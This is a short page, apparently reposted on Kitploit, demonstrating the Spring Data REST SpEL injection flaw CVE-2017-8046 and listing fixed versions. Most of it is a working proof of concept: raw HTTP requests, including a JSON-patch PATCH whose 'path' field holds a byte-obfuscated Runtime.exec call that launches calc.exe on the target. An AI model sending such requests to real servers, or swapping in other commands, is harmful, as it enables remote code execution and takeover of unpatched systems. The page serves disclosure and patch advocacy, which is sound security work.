CVE-2017-8046-DEMO — SPRING DATA REST CVE-2017-8046 DEMO | Kitploit

spring data rest CVE-2017-8046 demo test

please UPGRADE spring data rest NOW.

steps

Start the application
Create a test instance


POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

Exploit via SpEL injection, will launch C:\Windows\system32\calc.exe

PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]

upgrade to

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3

spring boot 1.5.7.RELEASE uses spring data rest 2.6.7, but 1.4.x does not upgrade the spring data rest version.